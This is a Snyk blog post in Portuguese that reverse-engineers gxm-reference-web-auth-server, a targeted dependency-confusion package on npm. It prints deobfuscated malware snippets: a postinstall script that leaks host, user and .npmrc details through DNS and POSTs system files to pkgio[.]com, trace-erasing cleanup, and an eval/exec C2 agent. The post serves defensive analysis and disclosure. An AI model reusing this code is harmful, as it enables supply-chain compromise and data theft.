Skip to main content

Ataque direcionado de confusão de dependências no npm é flagrado em flagrante

Escrito por
Headshot of Snyk Security Research Team

Snyk Security Research Team

feature npm malware gxm

30 de abril de 2022

0 minutos de leitura

Linha do tempo da atualização sobre o ataque

  • 10 de maio de 2022: A CodeWhite, empresa de segurança Red Team, entrou em contato conosco pelo Twitter e assumiu a responsabilidade pelos pacotes maliciosos, explicando que faziam parte de uma simulação de ataque para seus clientes — parabéns pela elaboração do ataque!

  • 4 de maio de 2022: A DigitalOcean informou que o IP do C2 pertence a uma empresa relacionada à segurança e que verificaria a situação e nos avisaria.

  • 1º de maio de 2022: O npm removeu os pacotes maliciosos do registro.

A história de um malware no npm

Nos últimos anos, vimos aumentar constantemente o número de pacotes maliciosos que aparecem em diferentes ecossistemas. De modo geral, a grande maioria desses pacotes é benigna: coleta informações, mas não causa danos à máquina infectada. De vez em quando, porém, encontramos um pacote realmente malicioso, com objetivo, meios e pronto para produção — esta é a história de um deles.

Encontrando malware de verdade no npm

Como parte do foco da equipe de pesquisa de segurança da Snyk na detecção proativa de pacotes maliciosos, nosso principal objetivo é analisar e emitir alertas sobre pacotes maliciosos o mais rápido possível depois que aparecem no registro de um ecossistema. Para isso, desenvolvemos um sistema robusto com vários mecanismos para detectar pacotes maliciosos.

Pouco depois de montarmos nossa armadilha para pacotes maliciosos, muitas bibliotecas já haviam sido sinalizadas como maliciosas. No entanto, ao investigar os resultados, descobrimos que muitos dos relatos eram sobre pacotes “levemente maliciosos”.

Definimos como “levemente malicioso” um pacote que faz uma das seguintes coisas:

  • Exfiltra informações da máquina por meio de consultas DNS (sem nenhuma outra ação)

  • Mineradores de criptomoedas (que são nocivos, mas não muito interessantes do ponto de vista de atividades maliciosas)

  • Pacotes “levemente maliciosos” de outros pesquisadores, usados principalmente para testes

  • Algumas outras variações dos itens desta lista

Por fim, encontramos um pacote muito interessante — gxm-reference-web-auth-server — e o classificamos como malicioso. Demos uma olhada rápida e percebemos que havia algo diferente, então iniciamos uma VM e analisamos o tarball.

Como o relato era sobre um pacote npm, a primeira coisa que examinamos foi o arquivo `package.json`. Como esperado, ele tinha um script post-install que chamava um arquivo JavaScript do pacote. Se você não conhece esses scripts, os scripts post-install são uma forma muito comum de executar scripts assim que o npm termina de instalar as dependências relevantes — e também uma maneira fácil para agentes maliciosos executarem scripts nas máquinas das vítimas.

Ao examinar o arquivo chamado, vimos que ele estava ofuscado. A ofuscação pode parecer uma forma sofisticada de “esconder” o código, mas, na prática, costuma ser relativamente fácil reverter (pelo menos no mundo do JavaScript).

O arquivo seguinte do pacote que chamou nossa atenção imediatamente era criptografado. Nossos sentidos de aranha começaram a formigar: era hora de investigar.

Engenharia reversa de malware — P1: O invólucro

Como dissemos, havia dois arquivos adicionais no pacote: um ofuscado e outro criptografado:

root@3b869b434e7d:/tmp# tar -tvf ./gxm-reference-web-auth-server-1.33.8.tgz
-rw-r--r-- 0/0           19023 1985-10-26 08:15 package/confsettingsaaa.js
-rw-r--r-- 0/0           97136 1985-10-26 08:15 package/obfusc.enc.js
-rw-r--r-- 0/0             393 1985-10-26 08:15 package/package.json

# unpacked the tar and:
root@3b869b434e7d:/tmp/package# file ./*
./confsettingsaaa.js: ASCII text, with very long lines
./obfusc.enc.js:      data
./package.json:       JSON data

E o package.json incluía um script post-install:

{
  "name": "gxm-reference-web-auth-server",
  "version": "1.33.8",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node confsettingsaaa.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "dependencies": {
    "axios": "0.26.0",
    "targz": "1.0.1",
    "ldtzstxwzpntxqn": "^4.0.0",
    "lznfjbhurpjsqmr": "^0.5.57",
    "semver": "7.3.5"
  },
  "author": "",
  "license": "ISC"
}

Embora nossa primeira iniciativa tenha sido analisar o script chamado, também notamos as duas dependências com nomes sem sentido, ldtzstxwzpntxqn e lznfjbhurpjsqmr, que exploraremos mais adiante neste artigo.

Ao examinar o arquivo confsettingsaaa.js, encontramos o seguinte:

root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const _0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const _0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))....... # trimmed

Para entender esse arquivo, usamos um desofuscador para torná-lo legível. Ao analisar o código, vimos que o arquivo (que mais tarde chamaremos de P1, por ser a parte 1 do malware) exfiltrava informações do sistema operacional e do pacote por meio de consultas a subdomínios falsos de pkgio[.]com:

telemetry = '.pkgio.com'
dns.lookup(
  replace_special_chars(os.userInfo().username) +
  '.' +
  replace_special_chars(os.hostname()) +
  '.h' +
  telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)
var localpack = fs.readFileSync(
  path.join(process.cwd(), 'package.json'),
  'utf8'
)
nameresolved = JSON.parse(localpack).name
dns.lookup(
  replace_special_chars(nameresolved) + '.n' + telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)
process.env.NO_PROXY &&
dns.lookup(
  replace_special_chars(process.env.NO_PROXY) + '.p' + telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)

Embora esse código apenas exfiltre dados e alguém possa achar que não causa danos, essas exfiltrações são, na verdade, valiosas para o reconhecimento feito pelo invasor, permitindo que ele identifique o alvo e sua configuração. Aliás, os agentes maliciosos abusam de consultas DNS porque esse tipo de consulta costuma passar por firewalls e filtros de rede, permitindo que eles acessem seus próprios servidores DNS (para a consulta) e registrem as solicitações.

A análise ficou mais interessante à medida que continuamos lendo o arquivo. Primeiro, todos os blocos try/catch chamavam uma função `fail` caso capturassem uma exceção. Depois, vimos que o script usava uma de suas dependências: lznfjbhurpjsqmr.

Antes de explicar as (duas) dependências, vamos analisar a função (ou mecanismo) fail. Quando chamada, ela faz duas coisas principais. Primeiro, apaga os próprios rastros. A função “fail” remove todos os arquivos relacionados ao pacote e faz a limpeza:

function fail() {
  try {
      fs.unlink(path.join(process.cwd(), 'package.json'), (cb) => {
      })
      fs.unlink(path.join(process.cwd(), 'confsettingsaaa.js'), (cb) => {
      })
      fs.existsSync('mac.enc.js') &&
      fs.unlink('mac.enc.js', (cb) => {
          if (cb) {
          }
      })
      fs.existsSync('mac.dec.js') &&
      fs.unlink('mac.dec.js', (cb) => {
      // ...more like this

Embora esse mecanismo seja interessante em malwares, a etapa seguinte foi alarmante.

Depois da limpeza, a função cria arquivos isca package.json e index.js e registra a seguinte mensagem no console: “Consulte o registro privado em vez do repositório público; Equipe de segurança”

fs.writeFileSync(
  'package.json',
  '{\n    "name": "' +
  mypackage + // mypackage = 'gxm-reference-web-auth-server'
  '",\n    "version": "' +
  triggerversion + // the current package version
  '",\n    "description": "",\n    "main": "index.js",\n    "scripts": {\n      "test": "echo \'Error: no test specified\' && exit 1"\n    },\n    "keywords": [],\n    "author": "",\n    "license": "ISC"\n  }\n  '
)
fs.writeFileSync(
  'index.js',
  "console.log('Please refer to the private registry instead of the public repo; Security Team');\nprocess.exit(-1);\n  "
)
console.log(
  'Please refer to the private registry instead of the public repo; Security Team'
)
process.exit(-1)

Depois de ler isso, ficamos com algumas perguntas: por que o pacote malicioso não se apaga por completo? Por que finge ser um pacote de espaço reservado legítimo, criado por uma equipe de segurança? Qual organização é o alvo deste pacote?

Embora tenhamos conseguido responder à maioria dessas perguntas, apesar de todos os nossos esforços para identificar e alertar o alvo, ainda não sabemos qual organização está sendo visada. Com essas perguntas em mente, vamos continuar.

As dependências: ldtzstxwzpntxqn e lznfjbhurpjsqmr

Como mencionado acima, o pacote instala duas dependências: ldtzstxwzpntxqn e lznfjbhurpjsqmr. Ao acessar as páginas delas no npm, vimos que ambas foram publicadas pelo mesmo mantenedor, cuja página era assim:

Página do npm mostrando a conta boschnodemodules e três pacotes, incluindo gxm-reference-web-auth-server

Foi interessante observar isso e confirmar algumas suspeitas sobre os pacotes. As próprias dependências, porém, eram apenas cópias de pacotes legítimos:

Nome do pacote

Pacote original

Finalidade

ldtzstxwzpntxqn

npmi

Pacote que oferece uma API mais simples para o npm install (instala coisas de forma programática).

lznfjbhurpjsqmr

global-npm

Exige o npm global como módulo local do Node.js.

Como confirmamos depois, ao auditar o restante do código, esses pacotes eram usados exatamente como os pacotes originais deveriam ser. Por que o agente malicioso se esforçou para criar esses pacotes em vez de usar os originais? Não sabemos e provavelmente nunca saberemos.

Filtragem de vítimas, registros privados e transição para P2

Algumas observações rápidas…

  1. Na seção a seguir, sempre que dissermos “o código interrompe a execução”, queremos dizer que a função fail mencionada acima foi chamada para fazer a limpeza.

  2. Como não sabemos qual organização está sendo visada, vamos chamá-la de ORG.

A próxima etapa de P1 é buscar as configurações de autenticação dos registros privados no arquivo .npmrc (é aqui que lznfjbhurpjsqmr é usado). Se não encontrar essas configurações ou o arquivo (o código faz uma busca em toda a máquina), interrompe a execução.

Se encontrar essas informações de autenticação, tenta baixar do registro privado especificado no arquivo de configuração um pacote com o mesmo nome, testando algumas variações, como:

@ORG/gxm-reference-web-auth-server, ORG/gxm-reference-web-auth-server and gxm-reference-web-auth-server

Se não encontrar esses pacotes no registro privado ou não conseguir baixá-los, o código interrompe a execução. Caso consiga baixar o tarball do registro privado, faz o seguinte:

1. Executa npm install no módulo em um subdiretório chamado .documentation (a instalação é feita usando a dependência ldtzstxwzpntxqn) ou interrompe a execução.

2. Substitui o conteúdo atual do pacote pelo conteúdo do pacote recém-instalado ou interrompe a execução.

3. Exfiltra o conteúdo de dois arquivos relacionados à rede e do novo package.json por meio de uma solicitação POST:

topostfiles = ['package.json', '/etc/hosts', '/etc/resolv.conf']
for (var entry of topostfiles) {
  if (fs.existsSync(entry)) {
      contents = fs.readFileSync(entry, {encoding: 'base64'})
      try {
          axios({
              method: 'post',
              url: 'https://www' + telemetry + '/' + entry,
              data: {data: contents},
              httpsAgent: agent,
              maxBodyLength: Infinity,
              maxContentLength: Infinity,// …

4. Descriptografa e executa o arquivo criptografado em um novo processo independente (o algoritmo de criptografia, a chave e o IV estavam codificados; falaremos mais sobre esse arquivo na próxima seção):

try {
  const child_proc = spawn('node', ['obfusc.dec.js'], {
      cwd: process.cwd(),
      detached: true,
      stdio: 'ignore',
      windowsHide: true,
  })
  child_proc.on('error', (err) => {
  })
  child_proc.unref()
// ...

5. Remove todos os arquivos relevantes (esta etapa limpa apenas os arquivos criptografados e o código de P1)

6. Encerra.

Agora que esclarecemos esses pontos, podemos concluir que, se o pacote gxm-reference-web-auth-server não estiver no registro privado da vítima, ou se ele estiver inacessível, o malware simplesmente vai ignorá-la.

Isso indica que:

  1. O pacote tem uma organização específica como alvo.

  2. O agente por trás desses pacotes sabe da existência desse pacote no registro privado da organização.

Com isso, concluímos todas as etapas de P1, e o “invólucro do malware” será encerrado.

Engenharia reversa de malware — P2: O agente

Como o invólucro tinha as informações codificadas para descriptografar o arquivo (um erro do adversário, acreditamos), também conseguimos descriptografá-lo — e foi o que fizemos.

Assim como o invólucro, esse arquivo também estava ofuscado e era uma única linha de caracteres sem sentido. Desta vez, porém, o desofuscador teve mais dificuldade e deixou o código cheio de enigmas:

(() => {

  // IMO webpack stuff?
  function _0xa77521(_0x323c64) {
      var _0x573f49 = _0x44b56a[_0x323c64]
      if (void 0 !== _0x573f49) {
          return _0x573f49.exports
      }
      var _0x3a5d0d = (_0x44b56a[_0x323c64] = {exports: {}})
      return (
          _0x1cc104[_0x323c64](_0x3a5d0d, _0x3a5d0d.exports, _0xa77521),
              _0x3a5d0d.exports
      )
  };
// ...

Tentamos usar outros desofuscadores, mas nenhum produziu um resultado melhor. Mantivemos o resultado inicial e começamos a desofuscar o código manualmente. Depois de algum esforço, conseguimos transformar o arquivo em algo legível. Hora de investigar como o agente funciona.

Registro do agente

A primeira instrução dada ao agente é registrar-se no servidor de comando e controle (chamado de CNC ou C2). Com isso, o agente recebe três strings essenciais para as comunicações seguintes: uma chave e um IV para criptografar os payloads, além de um UUID.

async function init_agent() {
  try {
      axios({
          method: 'POST',
          url: c2_server + '/register',
          data: {engine: 'nodejs'},
          headers: {'User-Agent': useragent},
          httpsAgent: httpsAgent,
      }).then(function (response) {
              key = response.data.key,
              iv = response.data.iv,
              uuid = response.data.uuid,
// ...

Depois que essa solicitação é concluída, todas as comunicações subsequentes entre o servidor C2 e o agente são criptografadas e descriptografadas com essa chave e esse IV (o algoritmo estava codificado). Logo após essa solicitação, o agente envia ao servidor uma solicitação POST com informações sobre o ambiente do agente:

// ​​...
key = response.data.key,
  iv = response.data.iv,
  uuid = response.data.uuid,
  os_platform = os.platform(),
  os_arch = process.arch,
  env = JSON.stringify(process.env),
  node_version = process.version,
  os_username = os.userInfo().username,
  hostname = os.hostname
datajson = {
  platform: os_platform,
  architecture: os_arch,
  version: node_version,
  user: os_username,
  hostname: hostname,
  environment: env,
  engine: 'nodejs',
}
datastring = JSON.stringify(datajson)
encryptdata = encrypt(key, iv, datastring)
axios({
  method: 'post',
  url: c2_server + '/updateinfosnodejs',
  data: {
      identity: uuid,
      data: encryptdata,
  },
  headers: {'User-Agent': useragent},
  httpsAgent: httpsAgent,
// ...

Depois de enviar essa solicitação, o agente passa à próxima etapa.

O loop de execução

O loop de execução do agente é bastante simples. Ele tem algumas condicionais if/else para diferentes comandos e os executa de acordo com as instruções do servidor C2. Por exemplo, o agente pode se apagar se receber o comando delete ou avaliar um trecho de código enviado pelo C2:

// ...
try {
  if (
      ((response = ''), await sleep(agent_sleep), "delete" == command_type)
  ) {
      return false  // agent lives as a process, so a “return” equals termination
  }
  if ('exec' == command_type || "eval" == command_type) {
      try {
          response = eval(payload)
      } catch (error) {
          response = error.message
      }
  } else { // data and file exfiltration
      if ('upload' == command_type) {
// ...

Em resumo, o agente responde aos seguintes comandos:

["download", "upload", "exec", "eval", "delete", "register"] 

Ao analisar essa lista, observe que exec ou eval podem executar um shell reverso, dando ao invasor controle total sobre a máquina infectada. Observe também que a opção register, quando chamada novamente, pode ajudar o agente e o servidor C2 a trocar as informações de criptografia e gerar novas, caso queiram alterá-las.

Embora essa funcionalidade possa parecer única ou sofisticada, no universo dos agentes C2, ela é padrão em um agente que seria instalado na máquina da vítima. De qualquer forma, não conseguimos associar o código-fonte do agente a nenhuma estrutura C2 conhecida.

Conclusão sobre o malware

Agora que entendemos o malware por completo, podemos concluir o seguinte:

  1. O malware tem como alvo uma única empresa, ainda desconhecida. No entanto, com base nas informações obtidas na engenharia reversa, é provável que essa empresa tenha o pacote “gxm-reference-web-auth-server” em seu registro privado.

  2. Como o pacote procura por si mesmo no registro privado da vítima, também podemos classificá-lo como um ataque de confusão de dependências, um tipo de ataque à cadeia de suprimentos.

  3. É provável que o(s) invasor(es) soubesse(m) da existência desse pacote no registro privado da empresa.

Embora já tivéssemos uma visão clara do funcionamento do pacote, decidimos verificar se o servidor C2 respondia e se a campanha ainda estava ativa. Hora de nos passar por outra pessoa.

Brincando de “Among Us” com um adversário

A ideia para nosso próximo experimento era simples. Queríamos descobrir se havia alguém do outro lado da linha e, em caso afirmativo, se essa pessoa estava ativa. Para isso, precisávamos:

  1. Usar o agente sem o wrapper (o P1 filtraria nosso cliente por falta de credenciais no .npmrc, entre outros motivos).

  2. Interceptar e registrar todo o tráfego HTTP/S (queríamos ver o que o servidor C2 enviava e recebia).

  3. Transferir os dados registrados para nós de forma unidirecional, irreversível e impossível de rastrear (isso é importante, pois o invasor também pode acessar a máquina!).

Mas, antes de agir, queríamos coletar algumas informações sobre o próprio servidor.

Tem alguém aí?

Coletamos informações sobre o servidor usando consultas WHOIS e varreduras Nmap padrão. Os resultados do WHOIS indicaram que o servidor estava hospedado na DigitalOcean (à qual reportamos o IP do servidor), e as varreduras do Nmap mostraram o seguinte:

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
2000/tcp open  tcpwrapped
3306/tcp open  mysql      MySQL 5.5.5-10.1.35-MariaDB-1
5060/tcp open  tcpwrapped
8080/tcp open  http       Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
8443/tcp open  ssl/http   Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

O servidor não era exatamente seguro e estava ativo, à escuta.

O impostor

Retomando nosso plano, precisávamos preparar o seguinte:

  1. Código do agente: Obtivemos esse código durante a etapa de descriptografia e conseguimos executá-lo separadamente do wrapper (P1).

  2. Interceptadores: Precisavam ser implementados no ambiente NodeJS, já que o próprio agente usava os módulos HTTP/S do NodeJS.

  3. Pipeline de registro: Decidimos usar o €‹ €‹Pipedream, pois ele permite um tratamento bastante granular das solicitações HTTP/S e já oferece várias integrações prontas (como armazenamento de valores, integração com Slack e muito mais).

Para a interceptação, usamos a biblioteca @gr2m/http-recorder, que fazia exatamente o que queríamos: capturar e manipular por completo as solicitações HTTP/S.

Combinando as etapas 1 e 2, chegamos ao seguinte trecho de código:

httpRecorder.start();
httpRecorder.addListener(
  'record',
  ({request, response, requestBody, responseBody}) => {

      if (request.host === hostname) { // we emit http requests as well, but don't want to loop infinitely
          return;
      }

      const buffer = [];

      const {method, protocol, host, path} = request;
      const reqHeaders = request.getHeaders();

      buffer.push({
          type: 'request',
          method,
          protocol,
          host,
          path,
          headers: reqHeaders,
          body: Buffer.concat(requestBody).toString()
      })
      const {statusCode, statusMessage, headers: responseHeaders} = response;
      buffer.push({
          type: 'response',
          statusCode,
          statusMessage,
          headers: responseHeaders,
          body: Buffer.concat(responseBody).toString()
      })

      send(Buffer.from(JSON.stringify(buffer)).toString('base64'))
  }
);
console.log('[+] Invoking malware...');
require('./mal') // here we invoke the agent itselfconsole.log('[+] Malware running! ☠');

Só faltava enviar os dados para nós. Usando o Pipedream, fizemos a função send enviar o payload para nosso endpoint e processá-lo.

Para processar os dados, armazenamos o IV e a chave para descriptografar as mensagens. Também configuramos o pipeline do Pipedream para se integrar a um workspace anônimo do Slack e registrar as mensagens nele. Assim, sempre que o agente e o servidor C2 trocavam mensagens, recebíamos uma notificação no Slack com todas as informações descriptografadas e legíveis. Abaixo, uma ilustração da configuração da nossa máquina infectada:

Diagrama de fluxo que mostra uma máquina infectada interceptando o tráfego HTTP/S entre um servidor C2 e um servidor anônimo que retransmite mensagens para um Slack privado.

E aqui está um exemplo do resultado no Slack:

Captura de tela da saída do terminal exibindo um longo comando JSON escapado com texto codificado.

E assim, nosso pseudo-honeypot estava pronto.

Olá, sou eu

Pouco depois de nosso agente falso entrar em atividade e começar a se comunicar com o servidor C2, os comandos começaram a chegar. O primeiro foi um ls, seguido por uma tentativa do agente de cat todos os arquivos visíveis e percorrer o sistema. Veja um exemplo de um dos comandos recebidos (após a decodificação de base64):

Tela escura com código mostrando uma função JavaScript que executa comandos shell com child_process spawnSync.

Nesse momento, decidimos encerrar o experimento, pois já tínhamos atingido nosso objetivo: descobrir se havia alguém do outro lado.

Isso indica que há uma campanha ativa contra os proprietários do “gxm-reference-web-auth-server” original/privado.

Mas ainda tem mais

Pouco antes de concluirmos nosso experimento, notamos algo interessante. Além do endereço C2, havia poucos valores fixos no código. Um deles era o valor da propriedade “engine” na chamada inicial /register:

async function init_agent() {
  try {
      axios({
          method: 'POST',
          url: c2_server + '/register',
          data: {engine: 'nodejs'}, // ← but why?
          headers: {'User-Agent': useragent},
          httpsAgent: httpsAgent,
      }).then( // … )

Como já não nos preocupávamos em passar despercebidos, decidimos testar diferentes valores para ver se havia outros tipos de alvos. Depois de algum tempo, encontramos outros tipos de engine:

root@3b869b434e7d:/tmp/package# ./opts.sh
[!] response for engine = nodejs
{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoiDWzYJwrNIgYoonpTRmQhzJvcl","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}

[!] response for engine = go
{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKCVOFpdkgobVpDjbNXojwPmvbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}

[!] response for engine = browser
{"uuid":"f820fc90-9618-4d90-9991-9d70cdc1d4f8"}

Isso indica que há pelo menos um agente para navegador e um agente em Golang, e é razoável supor que existam outros.

Divulgação e próximos passos

Embora conheçamos o funcionamento interno desse malware, não sabemos qual organização ou empresa é o alvo. Por isso, queremos usar este canal (além do Twitter e outros) para alertar a comunidade sobre esse pacote e pedir que todos ajudem a divulgar o aviso. Fique à vontade para entrar em contato conosco (ou enviar uma mensagem direta para @snyksec) se tiver dúvidas ou preocupações relacionadas a esse assunto.

Também entramos em contato com a DigitalOcean para pedir que removesse o servidor C2 de seu serviço e com o npm para informar sobre os pacotes maliciosos e solicitar que fossem removidos.

Com isso, encerramos nossa investigação. Como os ataques são complexos e sofisticados, vale destacar que o vetor inicial de infiltração deste ataque é uma simples confusão de dependências de pacotes, fácil de mitigar. Para conferir o fluxo completo deste ataque, veja a imagem abaixo. Cuide-se e mantenha seus sistemas seguros!

Fluxograma que mostra o comportamento de um wrapper malicioso do npm e os comandos do agente C2, incluindo exfiltração de dados, operações com arquivos e comunicação de retorno.

Proteja suas dependências de código aberto

As ferramentas da Snyk, desenvolvidas para quem programa, criam PRs de correção com um clique para dependências de código aberto vulneráveis e suas dependências transitivas.

Leia mais

blog feature snyk container custom base recommendations
Blog

Conheça o Evo Agentic AppSec: segurança que acompanha o ritmo do desenvolvimento com IA

O desenvolvimento impulsionado por IA está avançando mais rápido do que os fluxos de trabalho de segurança tradicionais. O AppSec agentivo da Snyk usa agentes de segurança para encontrar, corrigir e verificar vulnerabilidades continuamente, enquanto as pessoas definem os critérios.

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.